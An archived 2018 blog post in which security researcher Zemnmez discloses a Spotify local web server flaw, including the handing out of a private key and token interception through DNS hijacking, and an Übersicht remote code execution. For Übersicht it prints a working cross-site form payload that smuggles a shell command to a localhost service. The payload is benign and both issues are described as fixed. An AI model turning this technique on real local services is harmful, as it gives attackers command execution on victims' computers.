

Übersicht Remote Code Execution, Spotify takeover - Zemnmez

Übersicht Remote Code Execution, Spotify takeover - Zemnmez - Zemnmez, @zemnmez, Medium.

- Published: 2018-12-15
- Original: <<https://medium.com/@Zemnmez/%C3%BCbersicht-remote-code-execution-spotify-takeover-a5f6fd6809d0>>
- Preserved from: <https://medium.com/@Zemnmez/%C3%BCbersicht-remote-code-execution-spotify-takeover-a5f6fd6809d0> (stored) on 2026-10-03
- Capture timestamp: 20181216204511
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Übersicht Remote Code Execution, Spotify takeover

on the security implications of locally hosted web services

[[image: Go to the profile of Zemnmez]]([https://medium.com/@Zemnmez?](https://medium.com/@Zemnmez?source=post_header_lockup)
source=post_header_lockup)

[Zemnmez](#)BlockedUnblockFollowFollowing

Dec 15

I. Spotify's All Singing, All Dancing Musical Backdoor

II. The Übersicht RCE

III. Wrapping Up

I try to bring this up whenever I have the chance to talk about application security architecture: the way we think about networks as boundaries is useful, but inadequate in 2018 and this has serious implications for how we design our apps.

The unfortunate poster child I'm using to contextualise this is übersicht, a MacOS widget host similar in use to Windows's Rainmeter (anyone else remember putting that on their desktop in, like 2007?).

Übersicht like many applications these days is essentially a web browser running web apps with special privileges. One of these privileges is being able to run commands on your computer. Webapp widgets are run on a locally hosted website only accessible by the user's computer. I'm sorry. I just got word this article is about Spotify too. Let's pause for a moment and talk about that.

[image: image]

*this *blew my mind in 2007**

I ☐ Spotify's All Singing, All Dancing Musical Backdoor

It's quite common to see applications, like übersicht run web servers for local systems to access — Spotify, Steam and others all do this.

Often, these web servers offer the ability for websites to access functionality not normally accessible to the web. Spotify, for example runs a local web server that allows websites like Twitter and others to embed widgets which, when clicked send a message to your computer to play music on your computer. That's weird, right? Even when you close the tab the music is still playing.

Let's quickly dissect how this works. We can use this amusing proof of concept I made way back in August 2016 that plays a rickroll you can't close without opening Spotify desktop:

[image: image]

Ok, so we have a big black space with a button, and if you click it, it makes your Spotify account play the Rick Astley classic from whatever device is currently supposed to play music (might even be your fancy wi-fi speakers). **NB: this was fixed at some point**

What's this, though? When you hover over the face it says 'play'...

[image: image]

If we inspect this element my ruse is immediately uncovered. It's an iframe embedding open.spotify.com with the opacity set to 0.05 so we can barely see it. Let's crank that back up.

[image: image]

Alright, we see the play button, but where's everything else? Ha! Got you again. I cleverly used elements and border radiuses to crop the embedded Spotify player. Let's reverse that too.

[image: image]

And there we have it! The man himself, smoldering through our LCD screens. But here's the real question. How does a web page send commands to my Spotify?

Well, while I'd love to show you how it worked, it no longer works, so you'll have to take my word for it. The player sent a request to a mysterious *spotilocal.com* with a Spotify authorization token that said 'please play Rick Astley'. Spotilocal.com now points exactly nowhere, but as noted in [this](#) medium post from 2014, it used to point exactly at 127.0.0.1, which is IP address speak for 'whoever is asking' i.e. your computer.

But here's the thing I found odd as a security engineer: if Twitter.com is able to make a request to *spotilocal.com* without triggering a mixed-content warning, it means my connection to spotilocal.com must be *encrypted*. But... how? And encrypted in transit from me to me? Call me Alice. Take my hand. Join me down this rabbit hole.

Are you ready? Take a deep breath. Encryption on the internet by giving each website a secret key. Only spotify.com knows spotify's key, so only spotify.com can encrypt data like spotify.com can. Got that? Spotify.

In an incredibly mind-bending security trick, Spotify actually gives every single Spotify user in the entire world a secret key that allows them to attest to the undeniable fact that *they, themselves are spotilocal.com*. How do I know? I dumped it out of the Spotify program and — following some shenanigans with Spotify security I'll mention later — posted it online!

[\[image: image\]](#)

Isn't it a bad idea to give a private certificate for a domain to essentially everyone? I thought so too, and I pondered it, and I reported it to Spotify.com's security team way back. Way, waaay back. Just before I posted the certificate online, actually.

What I told Spotify Security is what I will tell you now, dear reader: DNS is not to be trusted.

Why do we have certificates and all that in the first place? Well, a big part of that is that DNS is totally unencrypted. Anyone between you and the correct Spotify DNS server that so desperately wants to tell you *spotilocal.com* is 127.0.0.1 can tell your computer spotify.com is anything else. That includes the notorious scam site evil.com which steals your credit card details, identity and goldfish by your simply visiting it.

It actually happens *all the time*, and it's definitely happened to *you*. When you go to an internet café, or Starbucks, or take your transatlantic flight to San Francisco or whatever and connect to the Wi-Fi, it hijacks DNS to tell your computer that any website you visit is the site you need to visit to log-on to the Wi-Fi. This is a terrifying dark incantation called in whispers — by some — [Captive Portal](#).

[\[image: image\]](#)

e-excuse me.... pwease log onto our wifi uwu

"Why isn't this a huge deal?" I hear your brain turning over and over, sleepless, comfortless in this knowledge. There's a couple of reasons. If the website is encrypted, then even though you can send back a response as google.com, you can't send back one that can be *verified* as google.com.

There's an extra spanner in the works, though: how does your instance of internet explorer six know that we should reject unencrypted traffic claiming to be google.com when so many websites online *are* unencrypted?

That's solved by a little thing called [HSTS](#), which basically means when you load google.com it says 'OK, here I am. I'm google and don't let anyone else try to pretend to be me by accessing me over an insecure connection, you hear me?'

If you're not a security anorak, I'll add in one more security gem to blow your mind: anyone can be the 'Free Starbucks Wi-Fi'. There's literally no control on that. When your phone or computer connects to Starbucks, it just looks for networks called 'Free Starbucks Wi-Fi', and leaves it at that.

So, let's say, just as a hypothetical I sit down in a Starbucks one day with a terrifying fruit of cyber-warfare: the [WiFi Pineapple®](#). I can tell everyone in Starbucks that, actually, I'm the starbucks WiFi, connect to me please and they'll be none the wiser. Then, I can see all their unencrypted internet browsing habits.

[image: image]

this is literally how they advertised the WiFi Pineapple® at DEFCON. my industry is very weird

Taking this a step further and using it to take over coffee goers' Facebook sessions and others was the concept that underpinned the [Firesheep](#) software that I believe quite literally changed the world by making people wake up and realise an unencrypted internet is garbage.

In 2018 though, not a lot of user's web browsing is unencrypted. I'm not an accountable enough writer to look up good statistics for this, but consider this: most people use google, facebook, apple, twitter, instagram, snapchat and little else. All these internet 1%ers are super likely to deploy really good encryption. I don't have any statistics on that, you'll just have to trust me.

Nevermind, we have the numbers:

[image: image]

Anyway. We can't *really* get what we want. Whatever DEFCON goers want to believe, nobody's going to drop a multi million dollar 0day vulnerability to bypass these defenses on *you specifically* just because they feel like it. I know I'm asking for it next DEFCON, but please. Think of the children.

I hope you didn't get as side-tracked as me, because if you didn't you'll remember that we still have the *spotilocal.com *certificate on hand, so we can view any information sent to it. 'But the connection to spotilocal.com goes to 127.0.0.1! That's my own computer! It never goes to the outside internet!' you whine inanely like an out of tune violin. Ah, my sweet summer child.

Before your computer even *considers* loading information from spotilocal.com, it first makes a DNS query up to the internet asking *where the hell spotilocal.com* is. And we,

using our WiFi Pineapple® are DNS gods. We can say whatever we want, and we'll say like, 'you know what? spotilocal.com? it's me actually.'

Now we can see whatever goes to spotilocal.com for every Spotify user that sends a request to it, and that means we get their Spotify OAuth token. Now I actually have no idea what the Spotify OAuth token lets you have access to. It could be a ton of *really bad stuff*. I don't know. I never found out. But I *do* know something it *can* do, and that's *play music on a user's system*.

Let's take a quick step back here to talk more about this secret token and what it probably lets me do. These tokens are used to enable access to certain resources or capabilities, in this case allowing the bearer to play music on your computer.

Almost always, when a company generates a token for itself, like Spotify generating a token to Spotify it has access to *everything*. Because, I mean, why would Spotify ever try to prevent Spotify from doing something? Spotify probably has your home address and favourite ice-cream flavour in a database somewhere. Spotify. But I can't prove that, so let's roll with the playing music thing.

So, let's hypothetically say we don't just already have full user access by getting this token and we want to play music on someone's Spotify. How do we do that? The server's on their computer...

Actually, we don't even need DNS for this one. We can do the same as the embedded Spotify player does and send a request inside the victim's browser to their local Spotify control server. We don't even need to *be* Spotify. Authenticated requests between websites are fine. That's something the internet just allows (with several extremely technical and complicated caveats).

What did Spotify Security say? That it's a product decision and they're fine with it. I tried to explain further but they confirmed, yes it's a product decision and they're fine with it. I'm also, to be fair, fine with posting the spotilocal.com certificate online. So I did. Well it's removed now, so guess it wasn't a product decision they wanted to keep WINKING EMOJI

This is actually something I deal with a lot, and I usually manage to convince people that what I'm saying is important. Not in this case, but, to quote a friend, my 0days are 'always weird'.

II □ The Übersicht RCE

First, let's talk about what an RCE is, because judging by the coverage of software that get RCEs, most people don't get it. An RCE is a 'remote code execution': it means, in a phrase, that I now have control over your computer. For a desktop computer this means your internet history, your video game high scores, your passwords, emails, everything. I now control it. You are, as they say in information security parlance — owned. In this case, by your cool desktop.

[\[image: image\]](#)

Where was I on Übersicht, anyway? (I'm copying and pasting the umlaut every time)

It makes these super cute little beautifully rendered desktop widgets, like the clock above by running a special webpage that contains all the web code you give it. This service is at the address [127.0.0.1:41416](#). That's the ip address 127.0.0.1 (a special one saying 'me'), and the port 41416 (that's just something that identifies this server specifically).

[\[image: image\]](#)

Aside: I've been saying all this time that 127.0.0.1 means 'me'. And it does, but it's a specific kind of 'me'. There's also 0.0.0.0, which also *kinda* means 'me'. The difference is that 0.0.0.0 **kinda** represents the public version of you that your computer presents to everything else on the network. If you host your website on 0.0.0.0:80, everyone else on your network can (probably) visit your hot new website. If you host it on 127.0.0.1, only you can (in theory) see it.

The point I'm trying to make with *yet another aside* is that if you put your dangerous web service that runs programs on your computer on 0.0.0.0 you're slightly more screwed because *everyone on your network* can both see, and make requests to your bespoke foot-gun service.

When you load 127.0.0.1:41416 you actually get the Übersicht interface that's drawn to your desktop. It feels a little weird the first time you do it.

[\[image: image\]](#)

Writing my own overplayed desktop tchatte, I was exploring what stuff I was allowed to hook into, which is defined in [this file](#), like this:

```
import run from './runShellCommand';
import request from 'superagent';
import styled, {css} from 'react-emotion';
```

```
export {run, request, css, styled};
```

Ok, did that just say 'run shell command'? I can have my widget update itself by running a command on my computer? Hell Yes!

Wait, what does runShellCommand actually do? It turns out, not a whole lot:

```

const post = require('superagent').post;

function wrapError(err, res) {
  return err
    ? new Error((res || {}).text || 'error running command')
    : null
  ;
}

module.exports = function runShellCommand(command, callback) {
  const request = post('/run/').send(command);
  return callback
    ? request.end((err, res) => callback(wrapError(err, res), (res || {}).text))
    : request
    .catch(err => { throw wrapError(err, err.response); })
    .then(res => res.text)
    ;
};

```

So... we... just make a request to <https://127.0.0.1:41416/run>, and send whatever we want it to do? Neato. Haven't we learned at this point that anyone can make a request to 127.0.0.1, though?

They can, with a little hacking, some javascript, and a custom website:

```

const [form, input] = ["form", "input"].map(document.createElement.bind(document));

```

```

Object.entries({
  method: "POST",
  action: "[http://127.0.0.1:41416/run/](http://127.0.0.1:41416/run/)",
  enctype: "text/plain"
}).forEach(([key, value]) => form.setAttribute(key, value))

```

```

Object.entries({
  value: "nope",
  name: "open /Applications/Calculator.app #"
}).forEach(([key, value]) => input.setAttribute(key, value))

```

```

document.body.appendChild(form).appendChild(input);

```

```

form.submit();

```

First, I apologise for writing my code in ES6 Javascript, which has a similar effect on legacy Javascript programmers to speaking to an Englishman in old English.

[image: image]

nope.

I'm just making an HTML form in Javascript, the code of which looks like this, and should be easier to understand:

```
<form method="POST" action="[http://127.0.0.1:41416/run/](http://127.0.0.1:41416/run/)"
  enctype="text/plain">
  <input value="nope" name="open/Applications/Calculator.app#">
</form>
```

You might look at all this and think 'wow, this really isn't as simple as they did it in Übersicht'. And you'd be right. Remember when I mentioned websites can make requests to each other with '*several extremely technical and complicated caveats*'? This is the product of those caveats.

If you can, brew a cup of tea. We're about to get technical.

Websites being able to make requests to each other without their consent is a product of super old technology. We're going to leave the history at that.

A web (HTTP) request is actually a super simple thing. Two people could type to each other in HTTP since it's just a text language sent over the internet.

[image: image]

We only care about the bits starting with '>' or '<', which indicate sending or receiving.

```
$ curl -sv '[http://oh.no.ms'](http://oh.no.ms%27) | head
> GET / HTTP/1.1
> Host: oh.no.ms
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 200 OK
< x-amz-id-2: [scrubbed]
< x-amz-request-id: [scrubbed]
< Date: Sat, 15 Dec 2018 21:37:53 GMT
< Last-Modified: Thu, 11 Aug 2016 22:37:02 GMT
< ETag: "d8c9ff35acce7d64ff9b6bf9af1faef2"
< Content-Type: text/html
< Content-Length: 1618
< Server: AmazonS3
<
{ [1618 bytes data]
* Connection #0 to host oh.no.ms left intact
<!DOCTYPE HTML>
```

This first bit is us saying ‘give us resource / via HTTP 1.1’. Where we saw ‘/run’ before, the ‘/’ would be ‘/run’. Then we have some information on what we’re looking for in the so-called ‘header’ colon-separated format. It says that we’re looking for the website ‘oh.no.ms’, we’re using the ‘web browser’ cURL and we’ll accept anything you give us.

Then, the web server comes back and says, OK. I have it, here’s some data about it in the same colon-separated form, and then finally the *response body*. Take note of this. There are three parts to what we see here: request (headers), response (headers) and *response body *(anything).

The request can also have a body. In fact, when we do a POST request like Übersicht, we have a request body, like this:

```

curl '[http://oh.no.ms'](http://oh.no.ms%27) -vvs -X POST -d 'param1=cool beans¶m2=cooler
beans' | h
ead
* Rebuilt URL to: [http://oh.no.ms/](http://oh.no.ms/)
* Trying 52.218.80.156...
* TCP_NODELAY set
* Connected to oh.no.ms (52.218.80.156) port 80 (#0)
> POST / HTTP/1.1
> Host: oh.no.ms
> User-Agent: curl/7.58.0
> Accept: */*
> Content-Length: 37
> Content-Type: application/x-www-form-urlencoded
>
> param1=cool%20beans¶m2=cooler%20beans
< HTTP/1.1 405 Method Not Allowed
< x-amz-request-id: [scrubbed]
< x-amz-id-2: [scrubbed]
< Allow: GET, HEAD, OPTIONS
< Content-Type: text/html; charset=utf-8
< Content-Length: 422
< Date: Sat, 15 Dec 2018 21:46:55 GMT
< Server: AmazonS3
<

```

Here we send two parameters via standard POST. A 'param1' which is 'cool beans' and a 'param2' which is 'cooler beans'. We tell the server that we have body content, its length is 37 (bytes / ASCII letters), and the format of our body content is 'application/x-www-form-urlencoded'. Then our *request body* is the 'URL Encoded' form of our parameters, with '%20' to indicate spaces.

This is a typical, old-timey request that you can make with an HTML form, the equivalent form of which would be:

```

<form action="[http://oh.no.ms](http://oh.no.ms)" method="POST">
  <input name="param1" value="cool beans">
  <input name="param2" value="cooler beans">
</form>

```

With this old type of request, any website can make a request to any other, but when the ability to write Javascript that makes requests to other places came around it brought with it additional protections and abilities. One of these is having a custom request body, which can be anything. In the case of the code Übersicht used, there's a request body which is just the command to be sent.

This is hard to achieve through a typical HTML form, because HTML forms always send data via their standard format. Let's say we tried this, for example:

```
<form action="http://127.0.0.1:41416" method="POST">
  <input name="run" value="open /Applications/Calculator.app">
</form>
```

That generates a request body that looks like this:

[image: image]

`run=open+%2FApplications%2FCalculator.app`

Übersicht does nothing when you send it this, because there's no program called 'run=open+%2FApplications%2FCalculator.app'. We need to take special drastic measures.

```
<form method="POST" action="[http://127.0.0.1:41416/run/](http://127.0.0.1:41416/run/)"
  enctype="text/plain">
  <input name="open /Applications/Calculator.app #" value="nope">
</form>
```

First, we specify `enctype="text/plain"`. This indicates that we *don't* want our form data URL Encoded. Next, we add our command as the 'name', and a '#' to the end. In the shell '#' is a comment, and everything past it is ignored. So we send `open /Applications/Calculator.app #nope`.

[image: image]

And this... is a perfectly valid shell command that opens the calculator!

[image: image]

Boom. You got calculated

I mean, obviously if this wasn't a proof of concept I'd be running code that did more than open a calculator.

III □ Wrapping Up

This was fixed in Übersicht a few months ago. What's the fix? Adding web security by checking [where the request came from](#). This is a very weird fix. It's very odd that in order to prevent a web browser communicating with a local piece of software, we have to actively detect it and tell it no.

Traditionally, in information security we think about firewalls as hard boundaries that divide segments from each other, preventing them from accessing each other. In 2018, this just isn't the case. You can be behind a home firewall, a laptop firewall AND only be exposing the service to your self and I can *still* own you remotely.

The fact of the matter is, every web client is a fully-featured network tool that can make requests to all sorts of resources. Consider a small tech company. They probably have an

office, and employees sign on to the Wi-Fi to access services in that office like payroll, databases and other systems.

If I send a malicious website, or even just specially crafted malicious forum content to an employee, my web app has limited access (within 'special complex caveats') to make requests to all of these services. Not just that, if the user has a session that's stored in a cookie, I make the request *authenticated* ****as*** the user*! I get to *be* them.

And that's not the limit! You'll be terrified to hear this isn't limited to web services. I can send requests to any service, speaking any protocol and provided it doesn't choke on the HTTP text I send it, I can then issue any command I want.

In 2018, application security architecture is hella important.

Z

*thanks to ****XMPPWocky*** for helping me dump the spotify cert, and kengyi for proof reading my words**

at some point I'll finish writing up the bug steam paid me \$8k for i promise. sorey

Archived from <https://medium.com/@Zemnmez/%C3%BCbersicht-remote-code-execution-spotify-takeover-a5f6fd6809d0>. Rendered offline from the local Markdown copy.